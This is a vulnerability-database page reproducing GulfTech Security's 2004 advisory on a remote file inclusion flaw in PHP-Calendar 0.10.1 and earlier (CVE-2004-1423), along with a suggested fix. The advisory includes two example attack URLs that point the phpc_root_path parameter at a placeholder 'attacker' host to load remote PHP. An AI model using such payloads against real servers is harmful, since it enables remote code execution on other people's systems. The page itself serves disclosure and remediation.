Lucene search
K

PHP-Calendar < 0.10.1 - Arbitrary File Inclusion

🗓️ 29 Dec 2014 00:00:00Reported by GulfTech SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 75 Views

PHP-Calendar <= 0.10.1 File Inclusion Vulnerability in Sean Proctor's Produc

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2004-1423
12 Feb 200505:00
cve
Cvelist
CVE-2004-1423
12 Feb 200505:00
cvelist
exploitpack
PHP-Calendar 0.10.1 - Arbitrary File Inclusion
29 Dec 201400:00
exploitpack
NVD
CVE-2004-1423
31 Dec 200405:00
nvd
Tenable Nessus
PHP-Calendar Multiple Script phpc_root_path Parameter Remote File Inclusion
29 Dec 200400:00
nessus
PHP-Calendar Arbitrary File Inclusion

Vendor: Sean Proctor
Product: PHP-Calendar
Version: <= 0.10.1
Website: http://php-calendar.sourceforge.net/

BID: 12127 
CVE: CVE-2004-1423 
OSVDB: 12700 12701 
SECUNIA: 22516 
PACKETSTORM: 35563 

Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ] 


File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's 

http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php 

If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations. 


Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php 
if ( !defined('IN_PHPC') ) {
	die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory. 


Credits:
James Bercegay of the GulfTech Security Research Team

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Dec 2014 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 27.5
EPSS0.10744
75